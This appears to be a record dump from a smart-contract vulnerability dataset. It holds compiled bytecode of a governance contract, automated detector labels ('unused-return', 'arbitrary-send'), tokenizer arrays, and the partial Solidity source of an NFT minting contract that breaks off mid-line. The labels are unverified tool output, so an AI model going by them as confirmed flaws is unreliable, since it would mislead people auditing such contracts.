76040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137c906141ee565b60405180910390fd5b61138d611122565b865111156113d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c79061414e565b60405180910390fd5b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081146114df57600061142782610a0b565b90506001600781111561143657fe5b81600781111561144257fe5b1415611483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161147a9061424e565b60405180910390fd5b6000600781111561149057fe5b81600781111561149c57fe5b14156114dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d49061412e565b60405180910390fd5b505b60006114f2436114ed610a02565b612101565b9050600061150282600054612101565b905060016000815480929190600101919050555061151e612385565b604051806101a0016040528060015481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060026000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003019080519060200190611628929190612407565b506080820151816004019080519060200190611645929190612491565b5060a08201518160050190805190602001906116629291906124de565b5060c082015181600601908051906020019061167f92919061253e565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050806000015160036000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e60405161177f99989796959493929190614304565b60405180910390a1806000015194505050505095945050505050565b600460078111156117a857fe5b6117b182610a0b565b60078111156117bc57fe5b146117fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f39061408e565b60405180910390fd5b600060026000838152602001908152602001600020905060006118bc427f000000000000000000000000ca2b3cf3989e70813719ac7703daf4b14f46b37773ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b15801561187f57600080fd5b505afa158015611893573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118b79190612d9c565b612101565b905060008090505b8260030180549050811015611aa157611a948360030182815481106118e557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600401838154811061191f57fe5b906000526020600020015485600501848154811061193957fe5b906000526020600020018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156119d75780601f106119ac576101008083540402835291602001916119d7565b820191906000526020600020905b8154815290600101906020018083116119ba57829003601f168201915b50505050508660060185815481106119eb57fe5b906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611a895780601f10611a5e57610100808354040283529160200191611a89565b820191906000526020600020905b815481529060010190602001808311611a6c57829003601f168201915b5050505050866121b3565b80806001019150506118c4565b508082600201819055507f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda28928382604051611adc929190614441565b60405180910390a1505050565b604051611af590613d70565b604051809103902081565b611b0861259e565b60026000848152602001908152602001600020600c0160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff161515151581526020016000820160029054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905092915050565b61438081565b60056007811115611bf557fe5b611bfe82610a0b565b6007811115611c0957fe5b14611c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c40906140ae565b60405180910390fd5b6000600260008381526020019081526020016000209050600181600b0160016101000a81548160ff02191690831515021790555060008090505b8160030180549050811015611df8577f000000000000000000000000ca2b3cf3989e70813719ac7703daf4b14f46b37773ffffffffffffffffffffffffffffffffffffffff16630825f38f836004018381548110611cdd57fe5b9060005260206000200154846003018481548110611cf757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856004018581548110611d3157fe5b9060005260206000200154866005018681548110611d4b57fe5b90600052602060002001876006018781548110611d6457fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611d93959493929190613e7d565b6000604051808303818588803b158015611dac57600080fd5b505af1158015611dc0573d6000803e3d6000fd5b50505050506040513d6000823e3d601f19601f82011682018060405250810190611dea9190612d32565b508080600101915050611c83565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051611e2891906142e9565b60405180910390a15050565b60016007811115611e4157fe5b611e4a83610a0b565b6007811115611e5557fe5b14611e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8c9061428e565b60405180910390fd5b6000600260008481526020019081526020016000209050600081600c0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff16151514611f49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f409061410e565b60405180910390fd5b60007f0000000000000000000000000000a1c00009a619684135b824ba02f7fbf3a57273ffffffffffffffffffffffffffffffffffffffff1663782d6fe18785600701546040518363ffffffff1660e01b8152600401611faa929190613dae565b60206040518083038186803b158015611fc257600080fd5b505afa158015611fd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ffa9190612eb4565b9050831561202b5761201e8360090154826bffffffffffffffffffffffff16612101565b8360090181905550612050565b61204783600a0154826bffffffffffffffffffffffff16612101565b83600a01819055505b60018260000160006101000a81548160ff021916908315150217905550838260000160016101000a81548160ff021916908315150217905550808260000160026101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055507f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c46868686846040516120f19493929190613dd7565b60405180910390a1505050505050565b60008082840190508381101561214c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121439061416e565b60405180910390fd5b8091505092915050565b60008282111561219b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612192906142ae565b60405180910390fd5b818303905092915050565b6000804690508091505090565b7f000000000000000000000000ca2b3cf3989e70813719ac7703daf4b14f46b37773ffffffffffffffffffffffffffffffffffffffff1663f2b065378686868686604051602001612208959493929190613e1c565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b815260040161223a9190613f3f565b60206040518083038186803b15801561225257600080fd5b505afa158015612266573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061228a9190612ce0565b156122ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122c1906141ce565b60405180910390fd5b7f000000000000000000000000ca2b3cf3989e70813719ac7703daf4b14f46b37773ffffffffffffffffffffffffffffffffffffffff16633a66f90186868686866040518663ffffffff1660e01b815260040161232b959493929190613e1c565b602060405180830381600087803b15801561234557600080fd5b505af1158015612359573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061237d9190612d09565b505050505050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215612480579160200282015b8281111561247f5782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555091602001919060010190612427565b5b50905061248d91906125d1565b5090565b8280548282559060005260206000209081019282156124cd579160200282015b828111156124cc5782518255916020019190600101906124b1565b5b5090506124da9190612614565b5090565b82805482825590600052602060002090810192821561252d579160200282015b8281111561252c57825182908051906020019061251c929190612639565b50916020019190600101906124fe565b5b50905061253a91906126b9565b5090565b82805482825590600052602060002090810192821561258d579160200282015b8281111561258c57825182908051906020019061257c9291906126e5565b509160200191906001019061255e565b5b50905061259a9190612765565b5090565b604051806060016040528060001515815260200160001515815260200160006bffffffffffffffffffffffff1681525090565b61261191905b8082111561260d57600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055506001016125d7565b5090565b90565b61263691905b8082111561263257600081600090555060010161261a565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061267a57805160ff19168380011785556126a8565b828001600101855582156126a8579182015b828111156126a757825182559160200191906001019061268c565b5b5090506126b59190612614565b5090565b6126e291905b808211156126de57600081816126d59190612791565b506001016126bf565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061272657805160ff1916838001178555612754565b82800160010185558215612754579182015b82811115612753578251825591602001919060010190612738565b5b5090506127619190612614565b5090565b61278e91905b8082111561278a576000818161278191906127d9565b5060010161276b565b5090565b90565b50805460018160011615610100020316600290046000825580601f106127b757506127d6565b601f0160209004906000526020600020908101906127d59190612614565b5b50565b50805460018160011615610100020316600290046000825580601f106127ff575061281e565b601f01602090049060005260206000209081019061281d9190612614565b5b50565b60008135905061283081614898565b92915050565b600082601f83011261284757600080fd5b813561285a61285582614497565b61446a565b9150818183526020840193506020810190508385602084028201111561287f57600080fd5b60005b838110156128af57816128958882612821565b845260208401935060208301925050600181019050612882565b5050505092915050565b600082601f8301126128ca57600080fd5b81356128dd6128d8826144bf565b61446a565b9150818183526020840193506020810190508360005b8381101561292357813586016129098882612a78565b8452602084019350602083019250506001810190506128f3565b5050505092915050565b600082601f83011261293e57600080fd5b813561295161294c826144e7565b61446a565b9150818183526020840193506020810190508360005b83811015612997578135860161297d8882612b20565b845260208401935060208301925050600181019050612967565b5050505092915050565b600082601f8301126129b257600080fd5b81356129c56129c08261450f565b61446a565b915081818352602084019350602081019050838560208402820111156129ea57600080fd5b60005b83811015612a1a5781612a008882612b74565b8452602084019350602083019250506001810190506129ed565b5050505092915050565b600081359050612a33816148af565b92915050565b600081519050612a48816148af565b92915050565b600081359050612a5d816148c6565b92915050565b600081519050612a72816148c6565b92915050565b600082601f830112612a8957600080fd5b8135612a9c612a9782614537565b61446a565b91508082526020830160208301858383011115612ab857600080fd5b612ac383828461482e565b50505092915050565b600082601f830112612add57600080fd5b8151612af0612aeb82614537565b61446a565b91508082526020830160208301858383011115612b0c57600080fd5b612b1783828461483d565b50505092915050565b600082601f830112612b3157600080fd5b8135612b44612b3f82614563565b61446a565b91508082526020830160208301858383011115612b6057600080fd5b612b6b83828461482e565b50505092915050565b600081359050612b83816148dd565b92915050565b600081519050612b98816148dd565b92915050565b600081359050612bad816148f4565b92915050565b600081519050612bc28161490b565b92915050565b600060208284031215612bda57600080fd5b6000612be884828501612821565b91505092915050565b600080600080600060a08688031215612c0957600080fd5b600086013567ffffffffffffffff811115612c2357600080fd5b612c2f88828901612836565b955050602086013567ffffffffffffffff811115612c4c57600080fd5b612c58888289016129a1565b945050604086013567ffffffffffffffff811115612c7557600080fd5b612c818882890161292d565b935050606086013567ffffffffffffffff811115612c9e57600080fd5b612caa888289016128b9565b925050608086013567ffffffffffffffff811115612cc757600080fd5b612cd388828901612b20565b9150509295509295909350565b600060208284031215612cf257600080fd5b6000612d0084828501612a39565b91505092915050565b600060208284031215612d1b57600080fd5b6000612d2984828501612a63565b91505092915050565b600060208284031215612d4457600080fd5b600082015167ffffffffffffffff811115612d5e57600080fd5b612d6a84828501612acc565b91505092915050565b600060208284031215612d8557600080fd5b6000612d9384828501612b74565b91505092915050565b600060208284031215612dae57600080fd5b6000612dbc84828501612b89565b91505092915050565b60008060408385031215612dd857600080fd5b6000612de685828601612b74565b9250506020612df785828601612821565b9150509250929050565b60008060408385031215612e1457600080fd5b6000612e2285828601612b74565b9250506020612e3385828601612a24565b9150509250929050565b600080600080600060a08688031215612e5557600080fd5b6000612e6388828901612b74565b9550506020612e7488828901612a24565b9450506040612e8588828901612b9e565b9350506060612e9688828901612a4e565b9250506080612ea788828901612a4e565b9150509295509295909350565b600060208284031215612ec657600080fd5b6000612ed484828501612bb3565b91505092915050565b6000612ee98383612f44565b60208301905092915050565b6000612f01838361314c565b905092915050565b6000612f15838361327a565b905092915050565b6000612f298383613cd9565b60208301905092915050565b612f3e8161478c565b82525050565b612f4d81614702565b82525050565b612f5c81614702565b82525050565b6000612f6d826145f9565b612f77818561466f565b9350612f828361458f565b8060005b83811015612fb3578151612f9a8882612edd565b9750612fa58361463b565b925050600181019050612f86565b5085935050505092915050565b6000612fcb82614604565b612fd58185614680565b935083602082028501612fe78561459f565b8060005b8581101561302357848403895281516130048582612ef5565b945061300f83614648565b925060208a01995050600181019050612feb565b50829750879550505050505092915050565b60006130408261460f565b61304a8185614691565b93508360208202850161305c856145af565b8060005b8581101561309857848403895281516130798582612f09565b945061308483614655565b925060208a01995050600181019050613060565b50829750879550505050505092915050565b60006130b58261461a565b6130bf81856146a2565b93506130ca836145bf565b8060005b838110156130fb5781516130e28882612f1d565b97506130ed83614662565b9250506001810190506130ce565b5085935050505092915050565b61311181614714565b82525050565b61312081614714565b82525050565b61312f81614720565b82525050565b61314661314182614720565b614870565b82525050565b600061315782614625565b61316181856146b3565b935061317181856020860161483d565b61317a8161487a565b840191505092915050565b600061319082614625565b61319a81856146c4565b93506131aa81856020860161483d565b6131b38161487a565b840191505092915050565b6000815460018116600081146131db576001811461320157613245565b607f60028304166131ec81876146c4565b955060ff198316865260208601935050613245565b6002820461320f81876146c4565b955061321a856145cf565b60005b8281101561323c5781548189015260018201915060208101905061321d565b80880195505050505b505092915050565b6132568161479e565b82525050565b613265816147c2565b82525050565b613274816147e6565b82525050565b600061328582614630565b61328f81856146d5565b935061329f81856020860161483d565b6132a88161487a565b840191505092915050565b60006132be82614630565b6132c881856146e6565b93506132d881856020860161483d565b6132e18161487a565b840191505092915050565b600081546001811660008114613309576001811461332f57613373565b607f600283041661331a81876146e6565b955060ff198316865260208601935050613373565b6002820461333d81876146e6565b9550613348856145e4565b60005b8281101561336a5781548189015260018201915060208101905061334b565b80880195505050505b505092915050565b60006133886044836146e6565b91507f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360008301527f616e206f6e6c792062652071756575656420696620697420697320737563636560208301527f65646564000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006134146045836146e6565b91507f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60008301527f2063616e206f6e6c79206265206578656375746564206966206974206973207160208301527f75657565640000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006134a06058836146e6565b91507f476f7665726e6f72416c7068613a3a7365745065726d616e656e74566f74696e60008301527f67506572696f643a2073657474696e67207065726d616e656e7420766f74696e60208301527f6720706572696f64206e6f7420616c6c6f7765642079657400000000000000006040830152606082019050919050565b600061352c6002836146f7565b91507f19010000000000000000000000000000000000000000000000000000000000006000830152600282019050919050565b600061356c6029836146e6565b91507f476f7665726e6f72416c7068613a3a73746174653a20696e76616c696420707260008301527f6f706f73616c20696400000000000000000000000000000000000000000000006020830152604082019050919050565b60006135d2602d836146e6565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060008301527f616c726561647920766f746564000000000000000000000000000000000000006020830152604082019050919050565b60006136386059836146e6565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c72656164792070656e64696e672070726f706f73616c000000000000006040830152606082019050919050565b60006136c46028836146e6565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960008301527f20616374696f6e730000000000000000000000000000000000000000000000006020830152604082019050919050565b600061372a6011836146e6565b91507f6164646974696f6e206f766572666c6f770000000000000000000000000000006000830152602082019050919050565b600061376a6043836146f7565b91507f454950373132446f6d61696e28737472696e67206e616d652c75696e7432353660008301527f20636861696e49642c6164647265737320766572696679696e67436f6e74726160208301527f63742900000000000000000000000000000000000000000000000000000000006040830152604382019050919050565b60006137f66027836146f7565b91507f42616c6c6f742875696e743235362070726f706f73616c49642c626f6f6c207360008301527f7570706f727429000000000000000000000000000000000000000000000000006020830152602782019050919050565b600061385c6044836146e6565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60008301527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d60208301527f61746368000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006138e8602f836146e6565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060008301527f61626f7665207468726573686f6c6400000000000000000000000000000000006020830152604082019050919050565b600061394e6044836146e6565b91507f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060008301527f726f706f73616c20616374696f6e20616c72656164792071756575656420617460208301527f20657461000000000000000000000000000000000000000000000000000000006040830152606082019050919050565b60006139da602c836146e6565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60008301527f7669646520616374696f6e7300000000000000000000000000000000000000006020830152604082019050919050565b6000613a40603f836146e6565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260008301527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c64006020830152604082019050919050565b6000613aa6602f836146e6565b91507f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60008301527f76616c6964207369676e617475726500000000000000000000000000000000006020830152604082019050919050565b6000613b0c6058836146e6565b91507f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560008301527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60208301527f20616c7265616479206163746976652070726f706f73616c00000000000000006040830152606082019050919050565b6000613b986036836146e6565b91507f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f7420636160008301527f6e63656c2065786563757465642070726f706f73616c000000000000000000006020830152604082019050919050565b6000613bfe602a836146e6565b91507f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e6760008301527f20697320636c6f736564000000000000000000000000000000000000000000006020830152604082019050919050565b6000613c646015836146e6565b91507f7375627472616374696f6e20756e646572666c6f7700000000000000000000006000830152602082019050919050565b606082016000820151613cad6000850182613108565b506020820151613cc06020850182613108565b506040820151613cd36040850182613d15565b50505050565b613ce28161475d565b82525050565b613cf18161475d565b82525050565b613d0081614767565b82525050565b613d0f8161481c565b82525050565b613d1e81614774565b82525050565b6000613d2f8261351f565b9150613d3b8285613135565b602082019150613d4b8284613135565b6020820191508190509392505050565b6000613d668261375d565b9150819050919050565b6000613d7b826137e9565b9150819050919050565b6000604082019050613d9a6000830185612f35565b613da76020830184613ce8565b9392505050565b6000604082019050613dc36000830185612f53565b613dd06020830184613ce8565b9392505050565b6000608082019050613dec6000830187612f53565b613df96020830186613ce8565b613e066040830185613117565b613e136060830184613d06565b95945050505050565b600060a082019050613e316000830188612f53565b613e3e6020830187613ce8565b8181036040830152613e5081866132b3565b90508181036060830152613e648185613185565b9050613e736080830184613ce8565b9695505050505050565b600060a082019050613e926000830188612f53565b613e9f6020830187613ce8565b8181036040830152613eb181866132ec565b90508181036060830152613ec581856131be565b9050613ed46080830184613ce8565b9695505050505050565b60006080820190508181036000830152613ef88187612f62565b90508181036020830152613f0c81866130aa565b90508181036040830152613f208185613035565b90508181036060830152613f348184612fc0565b905095945050505050565b6000602082019050613f546000830184613126565b92915050565b6000608082019050613f6f6000830187613126565b613f7c6020830186613126565b613f896040830185613ce8565b613f966060830184612f53565b95945050505050565b6000606082019050613fb46000830186613126565b613fc16020830185613ce8565b613fce6040830184613117565b949350505050565b6000608082019050613feb6000830187613126565b613ff86020830186613cf7565b6140056040830185613126565b6140126060830184613126565b95945050505050565b6000602082019050614030600083018461324d565b92915050565b600060208201905061404b600083018461325c565b92915050565b6000602082019050614066600083018461326b565b92915050565b6000602082019050818103600083015261408681846132b3565b905092915050565b600060208201905081810360008301526140a78161337b565b9050919050565b600060208201905081810360008301526140c781613407565b9050919050565b600060208201905081810360008301526140e781613493565b9050919050565b600060208201905081810360008301526141078161355f565b9050919050565b60006020820190508181036000830152614127816135c5565b9050919050565b600060208201905081810360008301526141478161362b565b9050919050565b60006020820190508181036000830152614167816136b7565b9050919050565b600060208201905081810360008301526141878161371d565b9050919050565b600060208201905081810360008301526141a78161384f565b9050919050565b600060208201905081810360008301526141c7816138db565b9050919050565b600060208201905081810360008301526141e781613941565b9050919050565b60006020820190508181036000830152614207816139cd565b9050919050565b6000602082019050818103600083015261422781613a33565b9050919050565b6000602082019050818103600083015261424781613a99565b9050919050565b6000602082019050818103600083015261426781613aff565b9050919050565b6000602082019050818103600083015261428781613b8b565b9050919050565b600060208201905081810360008301526142a781613bf1565b9050919050565b600060208201905081810360008301526142c781613c57565b9050919050565b60006060820190506142e36000830184613c97565b92915050565b60006020820190506142fe6000830184613ce8565b92915050565b60006101208201905061431a600083018c613ce8565b614327602083018b612f35565b8181036040830152614339818a612f62565b9050818103606083015261434d81896130aa565b905081810360808301526143618188613035565b905081810360a08301526143758187612fc0565b905061438460c0830186613ce8565b61439160e0830185613ce8565b8181036101008301526143a481846132b3565b90509a9950505050505050505050565b6000610120820190506143ca600083018c613ce8565b6143d7602083018b612f53565b6143e4604083018a613ce8565b6143f16060830189613ce8565b6143fe6080830188613ce8565b61440b60a0830187613ce8565b61441860c0830186613ce8565b61442560e0830185613117565b614433610100830184613117565b9a9950505050505050505050565b60006040820190506144566000830185613ce8565b6144636020830184613ce8565b9392505050565b6000604051905081810181811067ffffffffffffffff8211171561448d57600080fd5b8060405250919050565b600067ffffffffffffffff8211156144ae57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff8211156144d657600080fd5b602082029050602081019050919050565b600067ffffffffffffffff8211156144fe57600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561452657600080fd5b602082029050602081019050919050565b600067ffffffffffffffff82111561454e57600080fd5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff82111561457a57600080fd5b601f19601f8301169050602081019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b6000819050602082019050919050565b60008190508160005260206000209050919050565b60008190508160005260206000209050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b600061470d8261473d565b9050919050565b60008115159050919050565b6000819050919050565b60008190506147388261488b565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000614797826147f8565b9050919050565b60006147a9826147b0565b9050919050565b60006147bb8261473d565b9050919050565b60006147cd826147d4565b9050919050565b60006147df8261473d565b9050919050565b60006147f18261472a565b9050919050565b60006148038261480a565b9050919050565b60006148158261473d565b9050919050565b600061482782614774565b9050919050565b82818337600083830152505050565b60005b8381101561485b578082015181840152602081019050614840565b8381111561486a576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b6008811061489557fe5b50565b6148a181614702565b81146148ac57600080fd5b50565b6148b881614714565b81146148c357600080fd5b50565b6148cf81614720565b81146148da57600080fd5b50565b6148e68161475d565b81146148f157600080fd5b50565b6148fd81614767565b811461490857600080fd5b50565b61491481614774565b811461491f57600080fd5b5056fea2646970667358221220acdce105421a174417ca6c34e954c6b47ba40fcefa9f2ea8d45d1da723b6312864736f6c634300060b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2581, 2620, 2683, 2094, 28311, 2692, 2683, 2509, 2278, 28756, 10354, 2581, 2620, 2278, 2487, 6679, 2497, 2629, 3401, 16147, 27717, 2692, 2546, 2683, 2575, 21619, 2581, 2509, 2546, 2620, 2581, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1014, 1025, 10975, 8490, 2863, 6388, 11113, 9013, 16044, 2099, 2615, 2475, 1025, 12324, 1000, 1012, 1013, 19706, 1013, 2009, 14428, 7878, 1012, 14017, 1000, 1025, 3206, 2632, 5403, 8029, 3995, 23062, 6525, 14277, 3270, 1063, 1013, 1013, 1013, 1030, 16475, 1996, 2171, 1997, 2023, 3206, 5164, 2270, 5377, 2171, 1027, 1000, 2632, 5403, 8029, 3099, 6541, 1000, 1025, 1013, 1013, 1013, 1030, 16475, 1996, 6830, 2558, 2029, 2097, 2022, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,875
0x978a0b9785250141e1ad8d9af910024a4c60c941
// SPDX-License-Identifier: MIT pragma solidity 0.8.0; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/token/ERC1155/ERC1155.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/utils/math/Math.sol"; import "./DIASourceNFT.sol"; import "./Strings.sol"; contract DIADataNFT is Ownable, ERC1155 { using Math for uint256; using Strings for string; address public DIASourceNFTAddr; DIASourceNFT public diaSourceNFTImpl = DIASourceNFT(DIASourceNFTAddr); address public DIAGenesisMinterAddr; uint256 public constant NUM_PRIVILEGED_RANKS = 10; uint256 public numMintedNFTs; mapping (uint256 => address) rankMinter; mapping (uint256 => uint256) rankClaims; mapping (uint256 => uint) lastClaimPayout; bool public exists; bool public started; bool public genesisPhase; uint256 public sourceNFTId; mapping (address => uint256) public mintsPerWallet; uint256 public maxMintsPerWallet = 3; address public paymentToken; address public constant burnAddress = address(0x000000000000000000000000000000000000dEaD); uint256 public burnAmount; uint256 public mintingPoolAmount; constructor(address _paymentToken, uint256 _burnAmount, uint256 _mintingPoolAmount, address _DIAGenesisMinterAddr, bytes memory metadataURI) ERC1155(string(metadataURI)) { require(_paymentToken != address(0), "Payment token address is 0."); paymentToken = _paymentToken; burnAmount = _burnAmount; mintingPoolAmount = _mintingPoolAmount; DIAGenesisMinterAddr = _DIAGenesisMinterAddr; } event NewDataNFTCategory(uint256 sourceNFTId); event MintedDataNFT(address owner, uint256 numMinted, uint256 newRank); event ClaimedMintingPoolReward(uint256 rank, address claimer); function uri(uint256 _id) public view override returns (string memory) { if (_id > NUM_PRIVILEGED_RANKS) { _id = NUM_PRIVILEGED_RANKS; } return string(abi.encodePacked( super.uri(_id), Strings.uint2str(_id), ".json" )); } function finishGenesisPhase() external onlyOwner { genesisPhase = false; } function startMinting() external onlyOwner { started = true; } function updateMaxMintsPerWallet(uint256 newValue) external onlyOwner { maxMintsPerWallet = newValue; } function updateDIAGenesisMinterAddr(address newAddress) external onlyOwner { DIAGenesisMinterAddr = newAddress; } function setSrcNFT(address _newAddress) external onlyOwner { DIASourceNFTAddr = _newAddress; diaSourceNFTImpl = DIASourceNFT(DIASourceNFTAddr); } function generateDataNFTCategory(uint256 _sourceNFTId) external { require(diaSourceNFTImpl.balanceOf(msg.sender, _sourceNFTId) > 0); exists = true; genesisPhase = true; started = false; sourceNFTId = _sourceNFTId; emit NewDataNFTCategory(_sourceNFTId); } function getRankClaim(uint256 newRank, uint256 max) public view returns (uint256) { // 1. Get tetrahedron sum of token units to distribute uint256 totalClaimsForMint = getTetrahedronSum(max); // 2. Get raw claim from the rank of an NFT uint256 rawRankClaim = (getInverseTetrahedronNumber(newRank, max) * mintingPoolAmount) / totalClaimsForMint; // 3. Special cases: privileged ranks if (newRank == 1 || newRank == 2) { return ((getInverseTetrahedronNumber(1, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(2, max) * mintingPoolAmount) / totalClaimsForMint) / 2; } else if (newRank == 3 || newRank == 4 || newRank == 5) { return ((getInverseTetrahedronNumber(3, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(4, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(5, max) * mintingPoolAmount) / totalClaimsForMint) / 3; } else if (newRank == 6 || newRank == 7 || newRank == 8 || newRank == 9) { return ((getInverseTetrahedronNumber(6, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(7, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(8, max) * mintingPoolAmount) / totalClaimsForMint + (getInverseTetrahedronNumber(9, max) * mintingPoolAmount) / totalClaimsForMint) / 4; } return rawRankClaim; } function _mintDataNFT(address _origin, uint256 _newRank) public returns (uint256) { require(msg.sender == DIAGenesisMinterAddr, "Only callable from the genesis minter contract"); // Check that category exists require(exists, "_mintDataNFT.Category must exist"); // Get current number minted of the NFT uint256 numMinted = numMintedNFTs; if (numMinted < NUM_PRIVILEGED_RANKS) { while (rankMinter[_newRank] != address(0)) { _newRank = (_newRank + 1) % 